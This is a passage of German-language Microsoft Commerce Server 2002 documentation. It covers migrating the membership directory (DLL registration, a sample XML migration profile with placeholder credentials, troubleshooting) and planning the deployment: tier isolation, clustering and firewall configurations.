  • MigrationModifyObj ist abhängig von MigUtil.

Das MigrationLogObj-Objekt wird von den Objekten MigrationWriteObj und MigrationMainObj verwendet, um Fehler zu protokollieren.

Das MigrationReadObj-Objekt protokolliert Fehler nicht direkt, da alle zurückgegebenen Fehler vom MigrationMainObj-Objekt protokolliert werden.

Wenn das MigrationWriteObj-Objekt Fehler beim Schreiben erkennt, macht es den gesamten Benutzereintrag rückgängig und gibt dann einen Fehler an das MigrationMainObj-Objekt zurück. Das MigrationMainObj-Objekt protokolliert daraufhin den Fehler. MigrationWriteObj verwendet das MigrationLogObj-Objekt nur direkt, wenn ein Fehler beim Rollbackprozess selbst auftritt.

Wenn Sie den Code modifizieren, kompilieren Sie ihn erneut mithilfe von Microsoft Visual Basic 6.0 Service Pack 3 oder Microsoft Visual C++ 6.0 Service Pack 3.

In der folgenden Tabelle sind die erforderlichen Compilereinstellungen für alle Komponenten aufgeführt.

Komponente | Kompilieren mit | Compileroptionen
GroupMigration | Visual Basic 6 | Standardeinstellungen
ProfileBuilder | Visual Basic 6 | Standardeinstellungen
SubGroupManager | Visual Basic 6 | Standardeinstellungen
MigrationLogObj | Visual C++ 6 | Set active project = Release, Unicode, MinSize
MigrationMainObj | Visual C++ 6 | Set active project = Release, Unicode, MinSize
MigrationModifyObj | Visual C++ 6 | Set active project = Release, Unicode, MinSize
MigrationReadObj | Visual C++ 6 | Set active project = Release, Unicode, MinSize
MigrationWriteObj | Visual C++ 6 | Set active project = Release, Unicode, MinSize
MigUtil | Visual C++ 6 | Set active project configuration = Release


Registrieren von Migrationsobjekten

Sie müssen die Migrationsobjekte eines Verzeichnisses auf allen Computern registrieren, auf denen sie installiert sind. Zum Beispiel:

Regsvr32 /s MigrationLogObj.dll

Registrieren Sie alle 5 Objekte, indem Sie das folgende Codebeispiel in eine BAT-Datei kopieren und diese ausführen:

Regsvr32 /s MigrationLogObj.dll
Regsvr32 /s MigrationMainObj.dll
Regsvr32 /s MigrationModifyObj.dll
Regsvr32 /s MigrationReadObj.dll
Regsvr32 /s MigrationWriteObj.dll


Starten des Migrationsprozesses

Stellen Sie zum Starten des Migrationsprozesses die Migrationsobjekte den Servern zur Verfügung, die den Prozess ausführen werden. Führen Sie folgende Schritte durch:

  1. Erweitern Sie die Attribute um ein Migration-Attribut im Membership-Verzeichnis.
  2. Erstellen Sie mindestens ein Migrationsprofil mithilfe des Migration ProfileBuilder-Tools. Sie werden mindestens eines für jeden geplanten Migrationstyp benötigen (Batchmodus und Bedarfssteuerung kombiniert).
  3. Um die Objekte bereitzustellen, müssen Sie die vollständigen Migrationsobjekte auf alle beteiligten Server kopieren und registrieren. Weitere Informationen hierzu finden Sie unter Registrieren von Migrationsobjekten.
  4. Vergewissern Sie sich, das die Registrierungsschlüssel richtig eingetragen wurden. Weitere Informationen finden Sie im Abschnitt zu den Anforderungen unter MigrationLogObj-Objekt.

Wenn Sie vorhaben, die Profile der Benutzer bei der Anmeldung auf der neuen Site mithilfe der Bedarfssteuerung zu migrieren, sollten Sie die Migrationsobjekte auf den Webservern installieren und die Datei Login.asp verwenden, die sich unter Laufwerk:\Programme\Microsoft Commerce Server\SDK\Tools\SSCE Migration\Membership\Client befindet. Verwenden Sie diese Datei als Beispiel dafür, wie eine Migration ausgelöst werden kann, wenn ein Benutzer das erste Mal die neue Commerce Server-Site besucht.

Wenn Sie alle Benutzerprofile gleichzeitig migrieren möchten, installieren Sie die Migrationsobjekte auf dem Server, von dem aus die Migration stattfindet. Wählen Sie, um die bestmögliche Leistung zu erzielen, einen Computer, der eigens für den Migrationsprozess zur Verfügung steht. Wenn Sie das Profil für die Migration einer ganzen Reihe von Benutzern mithilfe des Migration ProfileBuilder-Tools erstellen, legen Sie eine Filtertiefe, einen Suchbereich und eine Suchfilterbasis im Dialogfeld für Schritt 3 fest. Das Experimentieren mit verschiedenen Werten vor dem tatsächlichen Migrationsprozess ermöglicht Ihnen die Optimierung der Migrationsleistung. Beachten Sie, dass die Verteilungsmuster der Namen von Benutzerkonten im Membership-Verzeichnis eine wichtige Rolle beim Optimierungsprozess spielen.

Testen Sie den bedarfsgesteuerten Migrationsprozess grundsätzlich, bevor Sie ihn freigeben.


Problembehandlung mithilfe der Migrationsprotokolldatei

Die Migrationsobjekte zeichnen Probleme in einer Protokolldatei in einem Verzeichnis auf, das vom Registrierungsschlüssel LogFilePath angegeben wird. Die Protokolldatei enthält Berichte über Migrationsfehler und Ereignisse, die eine erfolgreiche Migration verhindert haben. Zusätzliche Informationen über Migrationsfehler werden mithilfe der vom betroffenen Objekt zurückgegebenen Daten protokolliert.

Sobald die aktuelle Protokolldatei den Zeilengrenzwert erreicht hat, der im Registrierungsschlüssel MaxNumLinesEachFile angegeben ist, wird automatisch eine neue Protokolldatei erstellt und verwendet.


Überprüfen der erfolgreichen Migration

Um festzustellen, ob alle Benutzerprofile erfolgreich migriert wurden, fragen Sie das Membership-Verzeichnis nach allen Konten ab, bei denen das Migration-Attribut fehlt oder auf den Wert False gesetzt wurde. Migrieren Sie die zurückgegebenen Konten so lange einzeln, bis die Anfrage keine Konten mehr zurückgibt.

Wenn die Anfrage keine Datensätze mehr liefert, wissen Sie, das alle Benutzer migriert wurden.

Denken Sie daran, nach der erfolgreichen Migration aller Benutzer folgende Aufgaben zu erfüllen:

  • Ersetzen Sie, falls notwendig, die Version der Datei Login.asp, die die bedarfsgesteuerte Migration auslöst, mit der Originaldatei Login.asp.
  • Entfernen Sie die Migrationsobjekte von den Servern, auf denen sie installiert waren, und heben Sie ihre Registrierungen auf.
  • Sichern und löschen Sie die Migrationsprotokolldateien.


Migration Utility Library

Die Migration Utility Library MigUtil enthält globale Einstellungen und Methoden. Diese umfassen folgende globalen Variablen:

  • Globale Variable g_pwszUserObject. Entspricht der Standardeinstellung von Commerce Server. Wenn Sie zu einem anderen Profil wechseln (einem anderen als UserObject), sollte der Name des neuen Profils dieser globalen Variable zugeordnet werden.
  • Globale Variable g_searchOrder. Enthält alle möglichen Symbole, die in den Suchfiltern für Common Name (CN) vorkommen können, außer den Ziffern 0 bis 9, die während der Initialisierung in Zeichen umgewandelt werden. Diesem Array müssen zehn weitere Plätze zugewiesen werden, damit die zehn Zahlen untergebracht werden können. Zum Beispiel:
    WCHAR g_searchOrder[128] = {L'a', L'b', L'c', L'd', L'e', L'f', L'g',
                            L'h', L'i', L'j', L'k', L'l', L'm', L'n',
                            L'o', L'p', L'q', L'r', L's', L't', L'u',
                            L'v', L'w', L'x', L'y', L'z'};

    In diesem Beispiel sind die reservierten 128 Zeichen mehr als ausreichend (auch für die 10 Extrazeichen).

  • Globale Variable g_numSymbols. Enthält die Anzahl der Symbole, die im Array von g_searchOrder gespeichert werden sollen (zuzüglich der 10 Ziffern). Zum Beispiel:
    int g_numSymbols = 26;


Beispiel-XML-Datei

Es folgt eine Beispieldatei für ein Migrationsprofil im XML-Format. Das Migration ProfileBuilder-Tool im Microsoft Commerce Server 2002 Software Development Kit (SDK) erstellt ähnliche XML-Dateien wie diese:

<?xml version="1.0" ?>
<PROFILE1>
    <MIGRATION-PROFILE>
        <ProfileID>2</ProfileID>
    </MIGRATION-PROFILE>
    <MigrationObjects>
        <ReadObj>MigrationReadObj.MigrationRead</ReadObj>
        <WriteObj>MigrationWriteObj.MigrationWrite</WriteObj>
        <ModifyObj>MigrationModifyObj.MigrationModify</ModifyObj>
        <LogObj>MigrationLogObj.MigrationLog</LogObj>
    </MigrationObjects>
    <MembershipDirectory>
        <MConnectionString>LDAP://localhost1:1003</MConnectionString>
        <MigrateMemberOf>TRUE</MigrateMemberOf>
        <MDUserName>cn=administrator,ou=members,o=migration</MDUserName>
        <MDPassword>password</MDPassword>
    </MembershipDirectory>
    <SearchFilterInfo>
        <FilterDepth>2</FilterDepth>
        <ADsSearchScope>2</ADsSearchScope>
        <SearchFilterBase>cn=</SearchFilterBase>
    </SearchFilterInfo>
    <UserProfileService>
        <ADSite>TRUE</ADSite>
        <GenerateSamAccount>TRUE</GenerateSamAccount>
        <UConfigStore>SERVER=localhost2;
                      DATABASE=supplierAD_commerce;
                      UID=sa;PWD=</UConfigStore>
        <UCatalog>Profile Definitions</UCatalog>
        <GroupOUToDC>OU=MSCS_40_Root</GroupOUToDC>
        <CSUserName>administrator</CSUserName>
        <CSPassword>csdqfe</CSPassword>
    </UserProfileService>
    <Mapping>
        <FromMembership>givenName</FromMembership>
        <ToUPS>GeneralInfo.first_name</ToUPS>
        <WProfileType>UserObject</WProfileType>
        <WTypes>VT_BSTR</WTypes>
        <FromMembership>sn</FromMembership>
        <ToUPS>GeneralInfo.last_name</ToUPS>
        <WTypes>VT_BSTR</WTypes>
        <WProfileType>UserObject</WProfileType>
        <FromMembership>cn</FromMembership>
        <ToUPS>ProfileSystem.sam_account_name</ToUPS>
        <WTypes>VT_BSTR</WTypes>
        <WProfileType>UserObject</WProfileType>
    </Mapping>
</PROFILE1>


Planen der Bereitstellung

Die Bereitstellung von Commerce Server 2002 und Ihrer Websiteanwendungen erfordert eine sorgfältige Planung. Nehmen Sie sich die Zeit, einen umfassenden Bereitstellungsplan zu entwickeln, damit Sie Ihre Geschäftsanforderungen pünktlich und organisiert erfüllen können. Bevor Sie Ihre Anwendungen tatsächlich auf eine Website verschieben, sehen Sie sich die hier und im Commerce Server 2000 Resource Kit vorliegenden Informationen an.

Außerdem sollten Sie unbedingt sicherstellen, dass Ihre Organisation einen eigenen Plan entwickelt und dass darin die Vorstellungen von Businessmanagern, Systemadministratoren und Siteentwicklern berücksichtigt werden.

Die Bereitstellung beinhaltet, dass Ihre Website drei verschiedene Hardwareumgebungen durchläuft: die Entwicklungs-, die Test- und schließlich die Produktionsumgebung. Die folgende Abbildung illustriert vereinfacht diese Umgebungen. Die tatsächliche Beschaffenheit dieser Umgebungen hängt von der Größe Ihrer Site und von Ihren Geschäftszielen ab.

Entwicklungs-, Test- und Produktionsumgebungen

Stellen Sie vor dem Bereitstellen von Commerce Server 2002 sicher, dass bei der Planung die folgenden Aspekte berücksichtigt wurden:

  • Das als Modell für das Implementieren der eigenen Bereitstellung zu verwendende Bereitstellungsszenario
  • Die Art der Skalierung der Bereitstellung
  • Die Methode zum Verwalten der Verfügbarkeit
  • Die Art und Weise der Überwachung und Aktualisierung der verschiedenen Elemente, aus denen sich die Bereitstellung zusammensetzt

Dieser Abschnitt beinhaltet folgende Themen:

  • Isolieren der drei Ebenen. Beschreibt das Vorgehen beim Isolieren der einzelnen Ebenen, um die Verwaltung zu vereinfachen.
  • Clusterkonzepte. Beschreibt das Konzept des Clusterns der verschiedenen Ebenen.
  • Firewallkonfigurationen. Beschreibt Vor- und Nachteile verschiedener Firewallkonfigurationsoptionen.
  • Bereitstellungsszenarien. Enthält Beispielbereitstellungsszenarien, die als Modelle für die Bereitstellung verwendet werden können.

Siehe auch

Bereitstellen der Site

Aktualisieren von Site Server 3.0

Migrieren des Membership-Verzeichnisses


Isolieren der drei Ebenen

Aus Sicherheitsgründen erfordern die meisten Internetdienste Konfigurationen, bei denen die Benutzeroberflächenebene von der Geschäftslogikebene und der Datenbankebene getrennt ist.

Die folgende Abbildung zeigt, wie viele E-Commerce-Sites die Geschäftslogik weiter von den zugrunde liegenden Daten isolieren.

Darstellung der Architektur einer E-Commerce-Site mit mehreren Ebenen

In einer Konfiguration mit mehreren Ebenen, wie in der Abbildung oben dargestellt, greifen Clientbrowser auf Webseiten zu, und die Webseiten aktivieren die dazugehörige Geschäftslogik, die sich auf einem Webserver befindet. Die persistenten Daten, die die Geschäftsobjekte erfordern, werden in einer separaten Datenbankebene verwaltet.

Die Daten und Statusinformationen beeinflussen die Verarbeitungslogik sowie die Bedienbarkeit für den Kunden. In der folgenden Tabelle werden typische Entwurfsstrategien beschrieben, die Sie zum Isolieren der einzelnen Ebenen verwenden können.

Ebene Strategie
Benutzeroberflächenebene
  • Niedriger Status (enthält wenig Anwendungscode-Statusinformationen), eindeutige Daten in Cookies oder der Registrierung gespeichert
  • Vielzahl von Low-End-Servern.
  • Verringern der Ausfallzeiten durch Hinzufügen zusätzlicher Server.
Geschäftslogikebene
  • Auf dieser Ebene werden Webanwendungen, z. B. das Produktkatalogsystem, das Profilsystem und die Geschäftsprozesspipelines, ausgeführt.
  • Niedriger Status, keine eindeutigen Daten, kostengünstige Server.
  • Minimieren der Ausfallzeiten durch die Verwendung eines einheitlichen IP-Lastenausgleichs für Software bzw. Hardware.
Datenbankebene
  • Die von Commerce Server verwendeten Daten werden im Data Warehouse auf dieser Ebene verwaltet und gespeichert.
  • Systemstatus und Daten werden auf dieser Ebene gespeichert.
  • Verringern der Ausfallzeiten durch die Verwendung einer Cluster- oder einer replizierten Konfiguration.


Clusterkonzepte

Das Clustering stellt die wichtigste Möglichkeit zum Skalieren einer Bereitstellung dar. Durch das Gruppieren von mehreren Servern in einen einzelnen Cluster können die Ressourcen der einzelnen Server besser genutzt und die Arbeitsauslastung der Clients auf diese Server verteilt werden. Um der höheren Arbeitsauslastung bei zunehmender Sitenutzung gerecht zu werden, können Sie zum Cluster auch weitere Server hinzufügen.

Je nach Sitearchitektur und Entwurf lassen sich durch Clustering auch die Leistung und die Verfügbarkeit der Site verbessern, indem einzelne Schwachstellen beseitigt und bestimmte Funktionen erweitert werden. Das Isolieren der Bereitstellung in separate Cluster ermöglicht Ihnen außerdem die unabhängige Verwaltung der Cluster in einer Ebene. Auf diese Art und Weise lassen sich Verzögerungen vermeiden, indem die problematischen Server in ihre eigenen Cluster isoliert werden. Wenn die Verzögerungen beispielsweise bei der Verarbeitung von Transaktionen auftreten, können Sie diese Funktion in die eigene Datenbank isolieren. Sie können die Verfügbarkeit und Leistung dieser Datenbank durch Clustering unabhängig von den anderen Servern in Ihrer Bereitstellung verbessern.

Commerce Server 2002-Komponenten verwenden typischerweise zwei wesentliche Clusteringmethoden für die folgenden Zwecke:

  • Netzwerklastenausgleich (Network Load Balancing, NLB) auf der Webebene für Lastenausgleich und Skalierbarkeit
  • Clusterdienst auf der Datenbankebene für Fehlertoleranz

Mit beiden Clustermethoden können Verfügbarkeit und Zuverlässigkeit erhöht werden. Der Lastenausgleich über die Webebene hinaus bietet eine verbesserte Skalierbarkeit und eignet sich vor allem für statusfreie Daten (Daten, die z. B. für Webserver, Streaming-Medien, VPN und Proxyserver verwendet werden). Das Clustering der Datenbankebene ist dagegen in erster Linie für dynamische Daten geeignet (Daten, die z. B. für SQL Server, Exchange Server, Dateiserver und Druckserver verwendet werden).

Ein Webcluster mit NLB besteht in der Regel aus mehreren Clusterelementen. Jedes Mitglied wird als unabhängiger Webserver ausgeführt und nutzt Daten mit anderen Mitgliedern des Clusters nicht gemeinsam (andere als die für Clusteroperationen verwendeten Daten). Wenn ein Clustermitglied ausfällt bzw. ein Fehler auftritt, kann dieses Mitglied offline geschaltet oder aus dem Cluster entfernt werden, sodass ankommende Clientanforderungen ausschließlich auf intakte Mitglieder aufgeteilt werden. Weitere Informationen zu NLB finden Sie in der Dokumentation in Windows 2000 Advanced Server sowie Windows 2000 Datacenter Server.

SQL Server-Datenbankcluster, die den Clusterdienst verwenden, bestehen in der Regel aus zwei Elementen. Beide Mitglieder verwenden ein gemeinsames externes Speichergerät und sind exakte Duplikate. Wenn ein Mitglied ausfällt oder Fehler feststellt, wird das andere Mitglied ersetzt, sodass die Datenbank ordnungsgemäß funktioniert. Weitere Informationen zu NLB finden Sie in der Dokumentation in Windows 2000 Advanced Server sowie Windows 2000 Datacenter Server.

Siehe auch

Clustern von Webservern

Clustern der SQL-Server


Firewallkonfigurationen

Unabhängig von der Größe Ihrer Commerce Server 2002-Konfiguration müssen Sie entscheiden, wie Sie Firewalls einsetzen möchten. Zusätzliche Firewalls bedeuten zwar zusätzliche Kosten, ermöglichen jedoch das Trennen von Kundendaten, Mitarbeiterdaten sowie personenbezogenen Daten. Sie sollten sich bei der Planung nicht nur auf den Kostenaspekt konzentrieren. Alle Firewalllösungen haben Vor- und Nachteile.

Dieser Abschnitt beinhaltet folgende Themen:

  • Konfiguration mit einem Firewall
  • Konfiguration mit zwei Firewalls
  • Konfiguration mit drei Firewalls


Konfiguration mit einem Firewall

Die preiswerteste Variante bei der Konfiguration einer kleinen Site verwendet nur einen Firewall, der die Webbrowser, Ihre Site und Ihr internes Netzwerk voneinander trennt. Dies ist möglich, wenn der Firewall über drei Netzwerkkarten mit den jeweiligen Umgebungen verbunden ist.

Ein typischer Einsatzbereich für nur einen Firewall ist die Entwicklungsumgebung. Eine Abbildung der Konfiguration mit einem Firewall finden Sie unter Entwicklungsumgebung für eine kleine Site.

Die Lösung mit einem Firewall bietet folgende Vorteile:

  • Das Netzwerk, das aus Webservern und Datenbankservern besteht, ist physisch von den anderen Netzwerken getrennt. So wird ein Eindringen in Ihre Website erschwert. Falls jemand Zugriff auf einen der öffentlich zugänglichen Server erlangt, wird dennoch ein direkter Zugriff auf das interne Netzwerk verhindert.
  • Es muss nur ein Firewall erworben und verwaltet werden.
  • Die Funktionsfähigkeit des internen Netzwerks (das Computer, wie die Testserver, Business Desk-Server oder Entwicklungscomputer enthält) ist von der Umgebung der Website unabhängig. Bei Netzwerkproblemen der Website wird die Verbindung zum internen Netzwerk nicht zwangsläufig getrennt.
  • Dieses Design ist leicht in eine bestehende Architektur einzubinden, in der bereits ein Firewall das interne Netzwerk vom Internet trennt. Sie müssen nur eine dritte Netzwerkkarte zum bestehenden Firewall hinzufügen.

Die Lösung mit einem Firewall hat folgende Nachteile:

  • Die Datenbankserver sind nicht von den Webservern getrennt. HTTP (Hypertext Transfer Protocol) und HTTPS (Hypertext Transfer Protocol Secure) sind die einzigen Protokolle, die vom Internet zur Website erlaubt sind.
  • Ein Eindringling, der Zugriff auf einen Server im ISP-Netzwerk erlangt, kann möglicherweise Zugriff auf weitere Server der Site erlangen. Zusätzliche Sicherheitsmaßnahmen sind notwendig, um diese Server zu schützen.
  • Die Kommunikation zwischen Webservern und Datenbankservern läuft innerhalb des ISP-Netzwerks ungeschützt ab.
  • Da sich die Commerce Server Business Desk-Computer den Netzwerkverkehr mit Webservern teilen, muss auf den Business Desk-Computern HTTPS ausgeführt werden, um die Datensicherheit zu gewährleisten.
  • Einige Firewallanbieter bieten möglicherweise keine Unterstützung für drei Schnittstellen.

Siehe auch

Bereitstellen der Site

Aktualisieren von Site Server 3.0

Migrieren des Membership-Verzeichnisses


Konfiguration mit zwei Firewalls

In dieser Konfiguration trennt ein Firewall das Internet von den Webservern und ein zweiter die Webserver vom internen Netzwerk, welches die Datenbankserver und die Commerce Server Business Desk-Computer enthält. Eine Abbildung der Konfiguration mit zwei Firewalls finden Sie unter Konfiguration einer kleinen Site.

Die Lösung mit zwei Firewalls bietet folgende Vorteile:

  • Der Systemadministrator kann das interne Netzwerk von den Webservern und Webbrowsern trennen. Die Siteverwaltung erfolgt außerhalb des ISP-Netzwerks über das interne Netzwerk. Der Zugriff auf das interne Netzwerk ist für Eindringlinge wesentlich erschwert.
  • Eine zusätzliche Schutzebene beseitigt Anfälligkeiten der Datenbankserver, die sonst unabhängig von der Beziehung von Webservern und Datenbankservern bestehen. Solche Anfälligkeiten können zu Denial-Of-Service-Angriffen führen.
  • Die Anzahl der für Webbrowser zugänglichen Computer wird minimiert. Durch den Einsatz zweier Firewalls ist es schwieriger, die Datenbankserver und die Business Desk-Server zu stören oder zu missbrauchen.
  • Business Desk muss nicht über HTTPS (Hypertext Transfer Protocol Secure) ausgeführt werden, da sich die Business Desk-Client- und -Servercomputer im gleichen Netzwerk befinden.
  • Die Kommunikation zwischen Business Desk und den Datenbankservern muss nicht verschlüsselt werden, da sie nicht über ein öffentliches Netzwerk erfolgt.
  • Es ist leichter zu verhindern, dass ein Webbrowser einen autorisierten Benutzer simuliert. Ein Webserver kann z. B. so konfiguriert werden, dass er nur Datenbankserveranfragen von einer bestimmten IP-Adresse akzeptiert. Da beide Verbindungen über einen Firewall gesteuert werden, können diese Adressen nicht missbraucht werden.
  • Die Webserver sind physisch von den anderen Netzwerken getrennt. So ist ein Eindringen in die Website begrenzt. Falls jemand Zugriff auf einen der öffentlich zugänglichen Server erlangt, wird dennoch ein direkter Zugriff auf das interne Netzwerk verhindert.

Die Lösung mit zwei Firewalls hat folgende Nachteile:

  • Zwei Firewalls mit unterschiedlichen Konfigurationen sind schwieriger und kostenintensiver zu betreiben.
  • Die Kommunikation zwischen Webservern und Datenbankservern läuft innerhalb des ISP-Netzwerks ungeschützt ab. Zusätzliche Sicherheitsmaßnahmen sind notwendig, um diese Kommunikation zu schützen.
  • Das interne Firmennetzwerk funktioniert nur in Abhängigkeit von der Website. Bei Netzwerkproblemen der Website kann das interne Netzwerk seine Verbindung verlieren. Sie sollten eine unabhängige Netzwerkverbindung einrichten, die die internen Netzwerkcomputer unter Umgehung des ISP-Netzwerks mit dem Internet verbindet. Diese unabhängige Verbindung würde jedoch den Firewall umgehen, der das ISP-Netzwerk vom internen Netzwerk trennt.
  • Jeder erlaubte Verkehr zwischen internem Netzwerk und Internet ist auch zwischen ISP-Netzwerk und Internet sowie zwischen Datenbankserver-Netzwerk und Internet erlaubt. Die Sicherheitsverzweigungen hängen davon ab, welche Protokolle in der Standardsicherheitsrichtlinie des Benutzers erlaubt sind.

Siehe auch

Bereitstellen der Site

Aktualisieren von Site Server 3.0

Migrieren des Membership-Verzeichnisses


Konfiguration mit drei Firewalls

Diese Konfiguration entspricht der Konfiguration mit zwei Firewalls, mit der Ergänzung um einen Firewall, der das interne Netzwerk von den Datenbankservern und den Commerce Server Business Desk-Computern trennt. Eine Abbildung der Konfiguration mit drei Firewalls finden Sie unter Konfiguration einer großen Site.

Die Lösung mit drei Firewalls bietet folgende Vorteile:

  • Die Website (Webserver, Datenbankserver und Business Desk-Server) ist physisch von den anderen Netzwerken getrennt, was einen maximalen Schutz vor Eindringlingen bietet.
  • Es ist leichter zu verhindern, dass ein Webbrowser einen autorisierten Benutzer simuliert. Ein Webserver kann z. B. so konfiguriert werden, dass er nur Datenbankserveranfragen von einer bestimmten IP-Adresse akzeptiert. Da beide Verbindungen über einen Firewall gesteuert werden, können diese Adressen nicht missbraucht werden.
  • Eine zusätzliche Schutzebene beseitigt Anfälligkeiten der Datenbankserver, die sonst unabhängig von der Beziehung von Webservern und Datenbankservern bestehen. Solche Anfälligkeiten können zu Denial-Of-Service-Angriffen führen.
  • Mit drei Firewalls wird die Anzahl der Computer minimiert, die über das Internet zugänglich sind. Es ist schwieriger, die Datenbankserver und die Business Desk-Server zu stören oder zu missbrauchen.
  • Die Datenbank- und Business Desk-Server sind auch vor Eindringlingen aus dem internen Netzwerk geschützt.

Die Lösung mit drei Firewalls hat folgende Nachteile:

  • Drei Firewalls mit unterschiedlichen Konfigurationen sind schwieriger und kostenintensiver zu betreiben.
  • Die Kommunikation zwischen Webservern und Datenbankservern läuft innerhalb des ISP-Netzwerks ungeschützt ab. Zusätzliche Sicherheitsmaßnahmen sind notwendig, um diese Kommunikation zu schützen.
  • Jeder erlaubte Verkehr zwischen internem Netzwerk und Internet ist auch zwischen ISP-Netzwerk und Internet sowie zwischen Datenbankserver-Netzwerk und Internet erlaubt. Die Sicherheitsverzweigungen hängen davon ab, welche Protokolle in der Standardsicherheitsrichtlinie des Benutzers erlaubt sind.
  • Die Konfiguration ist schwieriger einzurichten und zu verwalten.

Siehe auch

Bereitstellen der Site

Aktualisieren von Site Server 3.0

Migrieren des Membership-Verzeichnisses


Bereitstellungsszenarien

Verwenden Sie beim Planen der Bereitstellung eines der folgenden Bereitstellungsszenarien als Modell. Die entsprechende Implementierung des Bereitstellungsszenarios richtet sich jeweils nach den Ressourcen und Anforderungen.

Dieser Abschnitt beinhaltet folgende Themen:

  • Konfiguration einer kleinen Site. Beschreibt Bereitstellungsszenarien für kleine Sites mit zwei bis fünf Servern.
  • Konfiguration einer großen Site. Beschreibt Bereitstellungsszenarien für große Sites, in denen verschiedene Commerce Server-Komponenten in separaten Datenbanken bereitgestellt werden.
  • Konfiguration einer globalen Site. Beschreibt Bereitstellungsszenarien für globale Sites, bei denen die Server sich an verschiedenen geografischen Standorten befinden.


Konfiguration einer kleinen Site

Es besteht zwar die Möglichkeit, alle Commerce Server 2002-Komponenten auf einem Server zu installieren, es ist jedoch eine Konfiguration mit zwei Computern erforderlich, um die Geschäftslogik- und Datenbankebenen voneinander zu trennen.

Diese Konfiguration besteht aus einem Server pro Ebene, einem Webserver und einem Datenbankserver. Bei fehlertoleranten Bereitstellungen mit hoher Verfügbarkeit sind vier Computer erforderlich (zwei Clustercomputer pro Ebene). Die folgende Abbildung zeigt eine Produktionsumgebung mit vier Computern.

Begrenzte Bereitstellung von Commerce Server 2002

In dieser Konfiguration erfolgt der Lastenausgleich für die Webserver über Netzwerklastenausgleich (NLB). Alle Webserver haben dieselbe IP-Adresse, um die Verfügbarkeit zu erhöhen. Geschäftslogik kann prinzipiell auf beiden verbindungslosen Webservern ausgeführt werden, die die Commerce Server-Verwaltungstools, Dienste, Commerce Server Business Desk und Anwendungen enthalten. Durch die Ausführung der gesamten Commerce Server-Geschäftslogik auf einem einzelnen Server kann die Cacheauslastung für eine Benutzersitzung maximiert werden. Wenn ein Kunde an einen anderen Webserver im Cluster weitergeleitet wird, fragt der neue Server lediglich Daten ab, und der Kunde setzt den Einkauf fort. Commerce Server-Komponenten sind für Back-End-Datenbanken, Cookies oder URL-Abfragezeichenfolgen (Uniform Resource Locator, URL) persistent, sodass sich das Umleiten auf einen anderen physischen Server beim Kunden kaum bemerkbar macht.

Die Datenbankserver sind als Windows-Servercluster mit einer gemeinsamen Microsoft SQL Server-Datenbank konfiguriert. Sie enthalten die Verwaltungsdatenbank, das Commerce Server-Data Warehouse und die anderen Commerce Server-Datenbanken.

Zwei Firewalls werden in dieser Konfiguration verwendet: eine zur Sicherung eingehender Internetdaten, die andere zur Sicherung der Daten aus dem Firmennetzwerk.

Diese Konfiguration verwendet SQL Server zur Authentifizierung der Benutzer. Sie können auch Microsoft Active Directory zur Authentifizierung der Benutzer verwenden. Dies gewährleistet zusätzliche Sicherheit, erfordert aber die Einbindung von Domänencontrollern in Ihre Produktionsumgebung.

Anweisungen zum Installieren von Commerce Server 2002 auf einem Computer finden Sie im Commerce Server 2002-Installationshandbuch. Anweisungen zum Installieren von Commerce Server 2002 auf zwei Computern finden Sie unter Installation auf einer Clusterkonfiguration mit vier Computern. (Sie sollten jedoch nicht jede Ebene gruppieren.) Diese Clusterkonfiguration mit vier Computern bietet eine hohe Verfügbarkeit, weil auf jeder Ebene zwei Computer in einem Cluster zusammengefasst werden. Wenn Sie Commerce Server 2002 nur auf zwei Computern installieren möchten, können Sie die Abschnitte über das Clustering ignorieren und zwei Computer für die Bereitstellung verwenden.

Anweisungen zum Installieren von Commerce Server 2002 auf drei Computern finden Sie unter Installation auf einer Konfiguration mit drei Computern ohne Cluster. Informationen zum Installieren von Commerce Server 2002 auf mehr als drei Computern finden Sie unter Konfiguration einer großen Site.

Konfiguration einer kleinen Site mit Active Directory

Entwicklungsumgebung für eine kleine Site

Konfiguration einer kleinen Site mit Active Directory

Möglicherweise möchten Sie Active Directory verwenden, um einen Sicherheitskontext für die Commerce Server-Site bereitzustellen. Active Directory ist nützlich, wenn Sie

  • den Zugriff auf Siteressourcen auf der Grundlage von Benutzeranmeldeinformationen steuern möchten,
  • Sicherheit für andere Anwendungen gewährleisten möchten.

Wenn Sie sich entscheiden, Active Directory in Ihre Site einzubinden, sollten Sie der Konfiguration zwei zusätzliche Server hinzufügen. Folgende Abbildung illustriert eine kleine Commerce Server-Konfiguration mit Active Directory-Servern.

Begrenzte Bereitstellung von Commerce Server 2002 mit Active Directory

Um eine hohe Verfügbarkeit zu gewährleisten, sollten Sie zwei replizierte Active Directory-Domänencontroller verwenden. Active Directory verwendet eine eigene Replikation, um sicherzustellen, dass die Daten zwischen den Domänencontrollern konsistent bleiben. Die Web- und Datenbankserver in dieser Konfiguration sind identisch mit denen in der Konfiguration mit vier Computern. Da die Belastung durch Active Directory relativ gering ist, können Sie den Active Directory-Server auf den gleichen Cluster wie die SQL Server-Computer legen.

Anweisungen zum Installieren der Beispiel-Supplier-Site mit Active Directory finden Sie unter Installieren der Beispiel-Supplier-Site. Diese Beispielkonfiguration umfasst zwei Server: einen Domänencontroller mit Active Directory und einen Server, auf dem Commerce Server und SQL Server ausgeführt werden.

Entwicklungsumgebung für eine kleine Site

Folgende Abbildung zeigt ein Beispiel für eine Entwicklungsumgebung einer kleinen Site.

Begrenzte Entwicklungsumgebung für Commerce Server 2002

Diese Entwicklungsumgebung ist physisch von der Test- und Produktionsumgebung getrennt. Sie befindet sich im Firmennetzwerk.


Konfiguration einer großen Site

Die einfachste Möglichkeit zur Steigerung der Kapazität von Commerce Server-Sites besteht darin, Webserver hinzuzufügen und die Commerce Server-Komponenten auf separate Datenbankserver zu verteilen. Wenn Sie Entscheidungen bezüglich der Verfügbarkeit treffen, sollten Sie die zu erwartende Verwendung der einzelnen Datenbanken berücksichtigen. Um die Verfügbarkeit zu erhöhen und die Sites für die Kunden übersichtlicher aufzubauen, können Sie vor den Webdiensten eine Einzel-IP-Lösung platzieren. Sie können eine Kombination aus SQL Server-Clustern bzw. SQL Server-Replikationen verwenden, um die Verfügbarkeit der Datenbankebene zu erhöhen. Bei einem großen Webcluster ist es prinzipiell möglich, die gesamte Geschäftslogik auf den statusfreien Webservern auszuführen. In bestimmten Umgebungen kann es mitunter erforderlich sein, einige Funktionen von den Einkaufsfunktionen der Site zu entfernen. So kann es z. B. erforderlich sein, Pipelinekomponenten auf einem separaten Webcluster auszuführen, wenn die Komponenten sehr CPU-intensiv sind (beispielsweise die Verschlüsselung umfangreicher Dateien) oder den Zugriff auf sichere Daten erfordern (z. B. Berechnung von 